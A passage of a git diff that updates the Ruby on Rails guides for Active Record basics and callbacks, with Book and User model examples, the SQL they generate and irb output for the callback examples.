+SELECT "books".* FROM "books" ORDER BY "books"."id" ASC LIMIT ?  [["LIMIT", 1]]
+
+-- Book.last
+SELECT "books".* FROM "books" ORDER BY "books"."id" DESC LIMIT ?  [["LIMIT", 1]]
+
+-- Book.take
+SELECT "books".* FROM "books" LIMIT ?  [["LIMIT", 1]]
+```
+
+We can also find specific books with `find_by` and `where`. While `find_by`
+returns a single record, `where` returns a list of records:
+
 ```ruby
-# return the first user named David
-david = User.find_by(name: 'David')
+# Returns the first book with a given title or `nil` if no book is found.
+book = Book.find_by(title: "Metaprogramming Ruby 2")
+
+# Alternative to Book.find_by(id: 42). Will throw an exception if no matching book is found.
+book = Book.find(42)
+```
+
+The above resulting in this SQL:
+
+```sql
+-- Book.find_by(title: "Metaprogramming Ruby 2")
+SELECT "books".* FROM "books" WHERE "books"."title" = ? LIMIT ?  [["title", "Metaprogramming Ruby 2"], ["LIMIT", 1]]
+
+-- Book.find(42)
+SELECT "books".* FROM "books" WHERE "books"."id" = ? LIMIT ?  [["id", 42], ["LIMIT", 1]]
 ```
 
 ```ruby
-# find all users named David who are Code Artists and sort by created_at in reverse chronological order
-users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)
+# Find all books by a given author, sort by created_at in reverse chronological order.
+Book.where(author: "Douglas Adams").order(created_at: :desc)
+```
+
+resulting in this SQL:
+
+```sql
+SELECT "books".* FROM "books" WHERE "books"."author" = ? ORDER BY "books"."created_at" DESC [["author", "Douglas Adams"]]
 ```
 
-You can learn more about querying an Active Record model in the [Active Record
-Query Interface](active_record_querying.html) guide.
+There are many more Active Record methods to read and query records. You can
+learn more about them in the [Active Record Query](active_record_querying.html) guide.
 
 ### Update
 
@@ -273,61 +528,111 @@ Once an Active Record object has been retrieved, its attributes can be modified
 and it can be saved to the database.
 
 ```ruby
-user = User.find_by(name: 'David')
-user.name = 'Dave'
-user.save
+book = Book.find_by(title: "The Lord of the Rings")
+book.title = "The Lord of the Rings: The Fellowship of the Ring"
+book.save
 ```
 
 A shorthand for this is to use a hash mapping attribute names to the desired
 value, like so:
 
 ```ruby
-user = User.find_by(name: 'David')
-user.update(name: 'Dave')
+book = Book.find_by(title: "The Lord of the Rings")
+book.update(title: "The Lord of the Rings: The Fellowship of the Ring")
+```
+
+the `update` results in the following SQL:
+
+```sql
+/* Note that `updated_at` is automatically set. */
+
+ UPDATE "books" SET "title" = ?, "updated_at" = ? WHERE "books"."id" = ?  [["title", "The Lord of the Rings: The Fellowship of the Ring"], ["updated_at", "2024-02-22 20:51:13.487064"], ["id", 104]]
 ```
 
-This is most useful when updating several attributes at once. If, on the other
-hand, you'd like to update several records in bulk, you may find the
-`update_all` class method useful:
+This is useful when updating several attributes at once. Similar to `create`,
+using `update` will commit the updated records to the database.
+
+If you'd like to update several records in bulk **without callbacks or
+validations**, you can update the database directly using `update_all`:
 
 ```ruby
-User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+Book.update_all(status: "already own")
 ```
 
 ### Delete
 
-Likewise, once retrieved an Active Record object can be destroyed which removes
-it from the database.
+Likewise, once retrieved, an Active Record object can be destroyed, which
+removes it from the database.
+
+```ruby
+book = Book.find_by(title: "The Lord of the Rings")
+book.destroy
+```
+
+The `destroy` results in this SQL:
+
+```sql
+DELETE FROM "books" WHERE "books"."id" = ?  [["id", 104]]
+```
+
+If you'd like to delete several records in bulk, you may use `destroy_by`
+or `destroy_all` method:
 
 ```ruby
-user = User.find_by(name: 'David')
-user.destroy
+# Find and delete all books by Douglas Adams.
+Book.destroy_by(author: "Douglas Adams")
+
+# Delete all books.
+Book.destroy_all
+```
+
+Additionally, if you'd like to delete several records **without callbacks or
+validations**, you can delete records directly from the database using `delete` and `delete_all` methods:
+
+```ruby
+Book.find_by(title: "The Lord of the Rings").delete
+Book.delete_all
 ```
 
 Validations
 -----------
 
 Active Record allows you to validate the state of a model before it gets written
-into the database. There are several methods that you can use to check your
-models and validate that an attribute value is not empty, is unique and not
-already in the database, follows a specific format and many more.
-
-Validation is a very important issue to consider when persisting to the database, so
-the methods `save` and `update` take it into account when
-running: they return `false` when validation fails and they didn't actually
-perform any operation on the database. All of these have a bang counterpart (that
-is, `save!` and `update!`), which are stricter in that
-they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
-A quick example to illustrate:
+into the database. There are several methods that allow for different types of
+validations. For example, validate that an attribute value is not empty, is
+unique, is not already in the database, follows a specific format, and many
+more.
+
+Methods like `save`, `create` and `update` validate a model before persisting it
+to the database. If the model is invalid, no database operations are performed. In
+this case the `save` and `update` methods return `false`. The `create` method still
+returns the object, which can be checked for errors. All of these
+methods have a bang counterpart (that is, `save!`, `create!` and `update!`),
+which are stricter in that they raise an `ActiveRecord::RecordInvalid` exception
+when validation fails. A quick example to illustrate:
 
 ```ruby
 class User < ApplicationRecord
   validates :name, presence: true
 end
+```
 
-user = User.new
-user.save  # => false
-user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```irb
+irb> user = User.new
+irb> user.save
+=> false
+irb> user.save!
+ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+The `create` method always returns the model, regardless of
+its validity. You can then inspect this model for any errors.
+
+```irb
+irb> user = User.create
+=> #<User:0x000000013e8b5008 id: nil, name: nil>
+irb> user.errors.full_messages
+=> ["Name can't be blank"]
 ```
 
 You can learn more about validations in the [Active Record Validations
@@ -337,41 +642,83 @@ Callbacks
 ---------
 
 Active Record callbacks allow you to attach code to certain events in the
-life-cycle of your models. This enables you to add behavior to your models by
-transparently executing code when those events occur, like when you create a new
-record, update it, destroy it and so on. You can learn more about callbacks in
-the [Active Record Callbacks guide](active_record_callbacks.html).
+lifecycle of your models. This enables you to add behavior to your models by
+executing code when those events occur, like when you create a new record,
+update it, destroy it, and so on.
+
+```ruby
+class User < ApplicationRecord
+  after_create :log_new_user
+
+  private
+    def log_new_user
+      puts "A new user was registered"
+    end
+end
+```
+
+```irb
+irb> @user = User.create
+A new user was registered
+```
+
+You can learn more about callbacks in the [Active Record Callbacks
+guide](active_record_callbacks.html).
 
 Migrations
 ----------
 
-Rails provides a domain-specific language for managing a database schema called
-migrations. Migrations are stored in files which are executed against any
-database that Active Record supports using `rake`. Here's a migration that
-creates a table:
+Rails provides a convenient way to manage changes to a database schema via
+migrations. Migrations are written in a domain-specific language and stored in
+files which are executed against any database that Active Record supports.
+
+Here's a migration that creates a new table called `publications`:
 
 ```ruby
-class CreatePublications < ActiveRecord::Migration[5.0]
+class CreatePublications < ActiveRecord::Migration[8.2]
   def change
     create_table :publications do |t|
       t.string :title
       t.text :description
       t.references :publication_type
-      t.integer :publisher_id
-      t.string :publisher_type
+      t.references :publisher, polymorphic: true
       t.boolean :single_issue
 
       t.timestamps
     end
-    add_index :publications, :publication_type_id
   end
 end
 ```
 
-Rails keeps track of which files have been committed to the database and
-provides rollback features. To actually create the table, you'd run `rails db:migrate`
-and to roll it back, `rails db:rollback`.
+Note that the above code is database-agnostic: it will run in MySQL, MariaDB,
+PostgreSQL, SQLite, and others.
+
+Rails keeps track of which migrations have been committed to the database and
+stores them in a neighboring table in that same database called
+`schema_migrations`.
+
+To run the migration and create the table, you'd run `bin/rails db:migrate`, and
+to roll it back and delete the table, `bin/rails db:rollback`.
+
+You can learn more about migrations in the [Active Record Migrations
+guide](active_record_migrations.html).
+
+Associations
+------------
+
+Active Record associations allow you to define relationships between models.
+Associations can be used to describe one-to-one, one-to-many, and many-to-many
+relationships. For example, a relationship like “Author has many Books� can be
+defined as follows:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
+end
+```
+
+The `Author` class now has methods to add and remove books to an author, and
+much more.
 
-Note that the above code is database-agnostic: it will run in MySQL,
-PostgreSQL, Oracle and others. You can learn more about migrations in the
-[Active Record Migrations guide](active_record_migrations.html).
+You can learn more about associations in the [Active Record Associations
+guide](association_basics.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index 77bd3c97e8d29..cb4c529c2fdee 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Callbacks
 =======================
@@ -8,67 +8,138 @@ objects.
 
 After reading this guide, you will know:
 
-* The life cycle of Active Record objects.
-* How to create callback methods that respond to events in the object life cycle.
-* How to create special classes that encapsulate common behavior for your callbacks.
+* When certain events occur during the life of an Active Record object.
+* How to register, run, and skip callbacks that respond to these events.
+* How to create relational, association, conditional, and transactional
+  callbacks.
+* How to create objects that encapsulate common behavior for your callbacks to
+  be reused.
 
 --------------------------------------------------------------------------------
 
 The Object Life Cycle
 ---------------------
 
-During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data.
+During the normal operation of a Rails application, objects may be [created,
+updated, and
+destroyed](active_record_basics.html#crud-reading-and-writing-data). Active
+Record provides hooks into this object life cycle so that you can control your
+application and its data.
 
-Callbacks allow you to trigger logic before or after an alteration of an object's state.
+Callbacks allow you to trigger logic before or after a change to an object's
+state. They are methods that get called at certain moments of an object's life
+cycle. With callbacks it is possible to write code that will run whenever an
+Active Record object is initialized, created, saved, updated, deleted,
+validated, or loaded from the database.
 
-Callbacks Overview
-------------------
+```ruby
+class BirthdayCake < ApplicationRecord
+  after_create -> { Rails.logger.info("Congratulations, the callback has run!") }
+end
+```
+
+```irb
+irb> BirthdayCake.create
+Congratulations, the callback has run!
+```
+
+As you will see, there are many life cycle events and multiple options to hook
+into these — either before, after, or even around them.
 
-Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+Callback Registration
+---------------------
 
-### Callback Registration
+To use the available callbacks, you need to implement and register them.
+Implementation can be done in a multitude of ways like using ordinary methods,
+blocks and procs, or defining custom callback objects using classes or modules.
+Let's go through each of these implementation techniques.
 
-In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+You can register the callbacks with a **macro-style class method that calls an
+ordinary method** for implementation.
 
 ```ruby
 class User < ApplicationRecord
-  validates :login, :email, presence: true
+  validates :username, :email, presence: true
 
-  before_validation :ensure_login_has_a_value
+  before_validation :ensure_username_has_value
 
   private
-    def ensure_login_has_a_value
-      if login.nil?
-        self.login = email unless email.blank?
+    def ensure_username_has_value
+      if username.blank?
+        self.username = email
       end
     end
 end
 ```
 
-The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+The **macro-style class methods can also receive a block**. Consider using this
+style if the code inside your block is so short that it fits in a single line:
 
 ```ruby
 class User < ApplicationRecord
-  validates :login, :email, presence: true
+  validates :username, :email, presence: true
 
-  before_create do
-    self.name = login.capitalize if name.blank?
+  before_validation do
+    self.username = email if username.blank?
   end
 end
 ```
 
-Callbacks can also be registered to only fire on certain life cycle events:
+Alternatively, you can **pass a proc to the callback** to be triggered.
+
+```ruby
+class User < ApplicationRecord
+  validates :username, :email, presence: true
+
+  before_validation ->(user) { user.username = user.email if user.username.blank? }
+end
+```
+
+Lastly, you can define [**a custom callback object**](#callback-objects), as
+shown below. We will cover these later in more detail.
+
+```ruby
+class User < ApplicationRecord
+  validates :username, :email, presence: true
+
+  before_validation AddUsername
+end
+
+class AddUsername
+  def self.before_validation(record)
+    if record.username.blank?
+      record.username = record.email
+    end
+  end
+end
+```
+
+### Registering Callbacks to Fire on Life Cycle Events
+
+Callbacks can also be registered to only fire on certain life cycle events, this
+can be done using the `:on` option and allows complete control over when and in
+what context your callbacks are triggered.
+
+NOTE: A context is like a category or a scenario in which you want certain
+validations to apply. When you validate an ActiveRecord model, you can specify a
+context to group validations. This allows you to have different sets of
+validations that apply in different situations. In Rails, there are certain
+default contexts for validations like :create, :update, and :save.
 
 ```ruby
 class User < ApplicationRecord
-  before_validation :normalize_name, on: :create
+  validates :username, :email, presence: true
+
+  before_validation :ensure_username_has_value, on: :create
 
   # :on takes an array as well
   after_validation :set_location, on: [ :create, :update ]
 
   private
-    def normalize_name
-      self.name = name.downcase.titleize
+    def ensure_username_has_value
+      if username.blank?
+        self.username = email
+      end
     end
 
     def set_location
@@ -77,90 +148,426 @@ class User < ApplicationRecord
 end
 ```
 
-It is considered good practice to declare callback methods as private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+NOTE: It is considered good practice to declare callback methods as private. If
+left public, they can be called from outside of the model and violate the
+principle of object encapsulation.
+
+WARNING. Refrain from using methods like `update`, `save`, or any other methods
+that cause side effects on the object within your callback methods. <br><br>
+For instance, avoid calling `update(attribute: "value")` inside a callback. This
+practice can modify the model's state and potentially lead to unforeseen side
+effects during commit. <br><br> Instead, you can assign values directly (e.g.,
+`self.attribute = "value"`) in `before_create`, `before_update`, or earlier
+callbacks for a safer approach.
 
 Available Callbacks
 -------------------
 
-Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+Here is a list with all the available Active Record callbacks, listed **in the
+order in which they will get called** during the respective operations:
 
 ### Creating an Object
 
-* `before_validation`
-* `after_validation`
-* `before_save`
-* `around_save`
-* `before_create`
-* `around_create`
-* `after_create`
-* `after_save`
-* `after_commit/after_rollback`
+* [`before_validation`][]
+* [`after_validation`][]
+* [`before_save`][]
+* [`around_save`][]
+* [`before_create`][]
+* [`around_create`][]
+* [`after_create`][]
+* [`after_save`][]
+* [`after_commit`][] / [`after_rollback`][]
+
+See the [`after_commit` / `after_rollback`
+section](active_record_callbacks.html#after-commit-and-after-rollback) for
+examples using these two callbacks.
+
+[`after_create`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create
+[`after_commit`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit
+[`after_rollback`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback
+[`after_save`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save
+[`after_validation`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation
+[`around_create`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create
+[`around_save`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save
+[`before_create`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create
+[`before_save`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save
+[`before_validation`]:
+    https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-before_validation
+
+There are examples below that show how to use these callbacks. We've grouped
+them by the operation they are associated with, and lastly show how they can be
+used in combination.
+
+#### Validation Callbacks
+
+Validation callbacks are triggered whenever the record is validated directly via
+the
+[`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F)
+( or its alias
+[`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-validate))
+or
+[`invalid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F)
+method, or indirectly via `create`, `update`, or `save`. They are called before
+and after the validation phase.
+
+```ruby
+class User < ApplicationRecord
+  validates :name, presence: true
+  before_validation :titleize_name
+  after_validation :log_errors
+
+  private
+    def titleize_name
+      self.name = name.downcase.titleize if name.present?
+      Rails.logger.info("Name titleized to #{name}")
+    end
+
+    def log_errors
+      if errors.any?
+        Rails.logger.error("Validation failed: #{errors.full_messages.join(', ')}")
+      end
+    end
+end
+```
+
+```irb
+irb> user = User.new(name: "", email: "john.doe@example.com", password: "abc123456")
+=> #<User id: nil, email: "john.doe@example.com", created_at: nil, updated_at: nil, name: "">
+
+irb> user.valid?
+Name titleized to
+Validation failed: Name can't be blank
+=> false
+```
+
+#### Save Callbacks
+
+Save callbacks are triggered whenever the record is persisted (i.e. "saved") to
+the underlying database, via the `create`, `update`, or `save` methods. They are
+called before, after, and around the object is saved.
+
+```ruby
+class User < ApplicationRecord
+  before_save :hash_password
+  around_save :log_saving
+  after_save :update_cache
+
+  private
+    def hash_password
+      self.password_digest = BCrypt::Password.create(password)
+      Rails.logger.info("Password hashed for user with email: #{email}")
+    end
+
+    def log_saving
+      Rails.logger.info("Saving user with email: #{email}")
+      yield
+      Rails.logger.info("User saved with email: #{email}")
+    end
+
+    def update_cache
+      Rails.cache.write(["user_data", self], attributes)
+      Rails.logger.info("Update Cache")
+    end
+end
+```
+
+```irb
+irb> user = User.create(name: "Jane Doe", password: "password", email: "jane.doe@example.com")
+
+Password hashed for user with email: jane.doe@example.com
+Saving user with email: jane.doe@example.com
+User saved with email: jane.doe@example.com
+Update Cache
+=> #<User id: 1, email: "jane.doe@example.com", created_at: "2024-03-20 16:02:43.685500000 +0000", updated_at: "2024-03-20 16:02:43.685500000 +0000", name: "Jane Doe">
+```
+
+#### Create Callbacks
+
+Create callbacks are triggered whenever the record is persisted (i.e. "saved")
+to the underlying database **for the first time** — in other words, when we're
+saving a new record, via the `create` or `save` methods. They are called before,
+after and around the object is created.
+
+```ruby
+class User < ApplicationRecord
+  before_create :set_default_role
+  around_create :log_creation
+  after_create :send_welcome_email
+
+  private
+    def set_default_role
+      self.role = "user"
+      Rails.logger.info("User role set to default: user")
+    end
+
+    def log_creation
+      Rails.logger.info("Creating user with email: #{email}")
+      yield
+      Rails.logger.info("User created with email: #{email}")
+    end
+
+    def send_welcome_email
+      UserMailer.welcome_email(self).deliver_later
+      Rails.logger.info("User welcome email sent to: #{email}")
+    end
+end
+```
+
+```irb
+irb> user = User.create(name: "John Doe", email: "john.doe@example.com")
+
+User role set to default: user
+Creating user with email: john.doe@example.com
+User created with email: john.doe@example.com
+User welcome email sent to: john.doe@example.com
+=> #<User id: 10, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe">
+```
 
 ### Updating an Object
 
-* `before_validation`
-* `after_validation`
-* `before_save`
-* `around_save`
-* `before_update`
-* `around_update`
-* `after_update`
-* `after_save`
-* `after_commit/after_rollback`
+Update callbacks are triggered whenever an **existing** record is persisted
+(i.e. "saved") to the underlying database. They are called before, after and
+around the object is updated.
+
+* [`before_validation`][]
+* [`after_validation`][]
+* [`before_save`][]
+* [`around_save`][]
+* [`before_update`][]
+* [`around_update`][]
+* [`after_update`][]
+* [`after_save`][]
+* [`after_commit`][] / [`after_rollback`][]
+
+[`after_update`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update
+[`around_update`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update
+[`before_update`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_update
+
+WARNING: The `after_save` callback is triggered on both create and update
+operations. However, it consistently executes after the more specific callbacks
+`after_create` and `after_update`, regardless of the sequence in which the macro
+calls were made. Similarly, before and around save callbacks follow the same
+rule: `before_save` runs before create/update, and `around_save` runs around
+create/update operations. It's important to note that save callbacks will always
+run before/around/after the more specific create/update callbacks.
+
+We've already covered [validation](#validation-callbacks) and
+[save](#save-callbacks) callbacks. See the [`after_commit` /
+`after_rollback` section](#after-commit-and-after-rollback) for examples using
+these two callbacks.
+
+#### Update Callbacks
+
+```ruby
+class User < ApplicationRecord
+  before_update :check_role_change
+  around_update :log_updating
+  after_update :send_update_email
+
+  private
+    def check_role_change
+      if role_changed?
+        Rails.logger.info("User role changed to #{role}")
+      end
+    end
+
+    def log_updating
+      Rails.logger.info("Updating user with email: #{email}")
+      yield
+      Rails.logger.info("User updated with email: #{email}")
+    end
+
+    def send_update_email
+      UserMailer.update_email(self).deliver_later
+      Rails.logger.info("Update email sent to: #{email}")
+    end
+end
+```
+
+```irb
+irb> user = User.find(1)
+=> #<User id: 1, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe", role: "user" >
+
+irb> user.update(role: "admin")
+User role changed to admin
+Updating user with email: john.doe@example.com
+User updated with email: john.doe@example.com
+Update email sent to: john.doe@example.com
+```
+
+#### Using a Combination of Callbacks
+
+Often, you will need to use a combination of callbacks to achieve the desired
+behavior. For example, you may want to send a confirmation email after a user is
+created, but only if the user is new and not being updated. When a user is
+updated, you may want to notify an admin if critical information is changed. In
+this case, you can use `after_create` and `after_update` callbacks together.
+
+```ruby
+class User < ApplicationRecord
+  after_create :send_confirmation_email
+  after_update :notify_admin_if_critical_info_updated
+
+  private
+    def send_confirmation_email
+      UserMailer.confirmation_email(self).deliver_later
+      Rails.logger.info("Confirmation email sent to: #{email}")
+    end
+
+    def notify_admin_if_critical_info_updated
+      if saved_change_to_email? || saved_change_to_phone_number?
+        AdminMailer.user_critical_info_updated(self).deliver_later
+        Rails.logger.info("Notification sent to admin about critical info update for: #{email}")
+      end
+    end
+end
+```
+
+```irb
+irb> user = User.create(name: "John Doe", email: "john.doe@example.com")
+Confirmation email sent to: john.doe@example.com
+=> #<User id: 1, email: "john.doe@example.com", ...>
+
+irb> user.update(email: "john.doe.new@example.com")
+Notification sent to admin about critical info update for: john.doe.new@example.com
+=> true
+```
 
 ### Destroying an Object
 
-* `before_destroy`
-* `around_destroy`
-* `after_destroy`
-* `after_commit/after_rollback`
+Destroy callbacks are triggered whenever a record is destroyed, but ignored when
+a record is deleted. They are called before, after and around the object is
+destroyed.
+
+* [`before_destroy`][]
+* [`around_destroy`][]
+* [`after_destroy`][]
+* [`after_commit`][] / [`after_rollback`][]
+
+[`after_destroy`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy
+[`around_destroy`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy
+[`before_destroy`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_destroy
+
+Find [examples for using `after_commit` /
+`after_rollback`](#after-commit-and-after-rollback).
 
-WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+#### Destroy Callbacks
+
+```ruby
+class User < ApplicationRecord
+  before_destroy :check_admin_count
+  around_destroy :log_destroy_operation
+  after_destroy :notify_users
+
+  private
+    def check_admin_count
+      if admin? && User.where(role: "admin").count == 1
+        throw :abort
+      end
+      Rails.logger.info("Checked the admin count")
+    end
+
+    def log_destroy_operation
+      Rails.logger.info("About to destroy user with ID #{id}")
+      yield
+      Rails.logger.info("User with ID #{id} destroyed successfully")
+    end
+
+    def notify_users
+      UserMailer.deletion_email(self).deliver_later
+      Rails.logger.info("Notification sent to other users about user deletion")
+    end
+end
+```
+
+```irb
+irb> user = User.find(1)
+=> #<User id: 1, email: "john.doe@example.com", created_at: "2024-03-20 16:19:52.405195000 +0000", updated_at: "2024-03-20 16:19:52.405195000 +0000", name: "John Doe", role: "admin">
+
+irb> user.destroy
+Checked the admin count
+About to destroy user with ID 1
+User with ID 1 destroyed successfully
+Notification sent to other users about user deletion
+```
 
 ### `after_initialize` and `after_find`
 
-The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
+Whenever an Active Record object is instantiated, either by directly using `new`
+or when a record is loaded from the database, the [`after_initialize`][]
+callback will be called. It can be useful to avoid the need to directly override
+your Active Record `initialize` method.
+
+When loading a record from the database the [`after_find`][] callback will be
+called. `after_find` is called before `after_initialize` if both are defined.
 
-The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
+NOTE: The `after_initialize` and `after_find` callbacks have no `before_*`
+counterparts.
 
-The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
+They can be registered just like the other Active Record callbacks.
 
 ```ruby
 class User < ApplicationRecord
   after_initialize do |user|
-    puts "You have initialized an object!"
+    Rails.logger.info("You have initialized an object!")
   end
 
   after_find do |user|
-    puts "You have found an object!"
+    Rails.logger.info("You have found an object!")
   end
 end
+```
 
->> User.new
+```irb
+irb> User.new
 You have initialized an object!
 => #<User id: nil>
 
->> User.first
+irb> User.first
 You have found an object!
 You have initialized an object!
 => #<User id: 1>
 ```
 
+[`after_find`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find
+[`after_initialize`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_initialize
+
 ### `after_touch`
 
-The `after_touch` callback will be called whenever an Active Record object is touched.
+The [`after_touch`][] callback will be called whenever an Active Record object
+is touched. You can [read more about `touch` in the API
+docs](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch).
 
 ```ruby
 class User < ApplicationRecord
   after_touch do |user|
-    puts "You have touched an object"
+    Rails.logger.info("You have touched an object")
   end
 end
+```
 
->> u = User.create(name: 'Kuldeep')
+```irb
+irb> user = User.create(name: "Kuldeep")
 => #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
 
->> u.touch
+irb> user.touch
 You have touched an object
 => true
 ```
@@ -168,33 +575,37 @@ You have touched an object
 It can be used along with `belongs_to`:
 
 ```ruby
-class Employee < ApplicationRecord
-  belongs_to :company, touch: true
+class Book < ApplicationRecord
+  belongs_to :library, touch: true
   after_touch do
-    puts 'An Employee was touched'
+    Rails.logger.info("A Book was touched")
   end
 end
 
-class Company < ApplicationRecord
-  has_many :employees
-  after_touch :log_when_employees_or_company_touched
+class Library < ApplicationRecord
+  has_many :books
+  after_touch :log_when_books_or_library_touched
 
   private
-  def log_when_employees_or_company_touched
-    puts 'Employee/Company was touched'
-  end
+    def log_when_books_or_library_touched
+      Rails.logger.info("Book/Library was touched")
+    end
 end
+```
 
->> @employee = Employee.last
-=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+```irb
+irb> book = Book.last
+=> #<Book id: 1, library_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
 
-# triggers @employee.company.touch
->> @employee.touch
-Employee/Company was touched
-An Employee was touched
+irb> book.touch # triggers book.library.touch
+A Book was touched
+Book/Library was touched
 => true
 ```
 
+[`after_touch`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch
+
 Running Callbacks
 -----------------
 
@@ -205,63 +616,434 @@ The following methods trigger callbacks:
 * `destroy`
 * `destroy!`
 * `destroy_all`
+* `destroy_by`
 * `save`
 * `save!`
 * `save(validate: false)`
+* `save!(validate: false)`
 * `toggle!`
+* `touch`
 * `update_attribute`
+* `update_attribute!`
 * `update`
 * `update!`
 * `valid?`
+* `validate`
 
-Additionally, the `after_find` callback is triggered by the following finder methods:
+Additionally, the `after_find` callback is triggered by the following finder
+methods:
 
 * `all`
 * `first`
 * `find`
 * `find_by`
+* `find_by!`
 * `find_by_*`
 * `find_by_*!`
 * `find_by_sql`
 * `last`
+* `sole`
+* `take`
+
+The `after_initialize` callback is triggered every time a new object of the
+class is initialized.
+
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated
+automatically for every attribute. Learn more about them in the [Dynamic finders
+section](active_record_querying.html#dynamic-finders).
+
+Conditional Callbacks
+---------------------
+
+As with [validations](active_record_validations.html), we can also make the
+calling of a callback method conditional on the satisfaction of a given
+predicate. We can do this using the `:if` and `:unless` options, which can take
+a symbol, a `Proc` or an `Array`.
+
+You may use the `:if` option when you want to specify under which conditions the
+callback **should** be called. If you want to specify the conditions under which
+the callback **should not** be called, then you may use the `:unless` option.
+
+### Using `:if` and `:unless` with a `Symbol`
 
-The `after_initialize` callback is triggered every time a new object of the class is initialized.
+You can associate the `:if` and `:unless` options with a symbol corresponding to
+the name of a predicate method that will get called right before the callback.
 
-NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+When using the `:if` option, the callback **won't** be executed if the predicate
+method returns **false**; when using the `:unless` option, the callback
+**won't** be executed if the predicate method returns **true**. This is the most
+common option.
+
+```ruby
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+```
+
+Using this form of registration it is also possible to register several
+different predicates that should be called to check if the callback should be
+executed. We will cover this in the [Multiple Callback Conditions
+section](#multiple-callback-conditions).
+
+### Using `:if` and `:unless` with a `Proc`
+
+It is possible to associate `:if` and `:unless` with a `Proc` object. This
+option is best suited when writing short validation methods, usually one-liners:
+
+```ruby
+class Order < ApplicationRecord
+  before_save :normalize_card_number,
+    if: ->(order) { order.paid_with_card? }
+end
+```
+
+Since the proc is evaluated in the context of the object, it is also possible to
+write this as:
+
+```ruby
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: -> { paid_with_card? }
+end
+```
+
+### Multiple Callback Conditions
+
+The `:if` and `:unless` options also accept an array of procs or method names as
+symbols:
+
+```ruby
+class Comment < ApplicationRecord
+  before_save :filter_content,
+    if: [:subject_to_parental_control?, :untrusted_author?]
+end
+```
+
+You can easily include a proc in the list of conditions:
+
+```ruby
+class Comment < ApplicationRecord
+  before_save :filter_content,
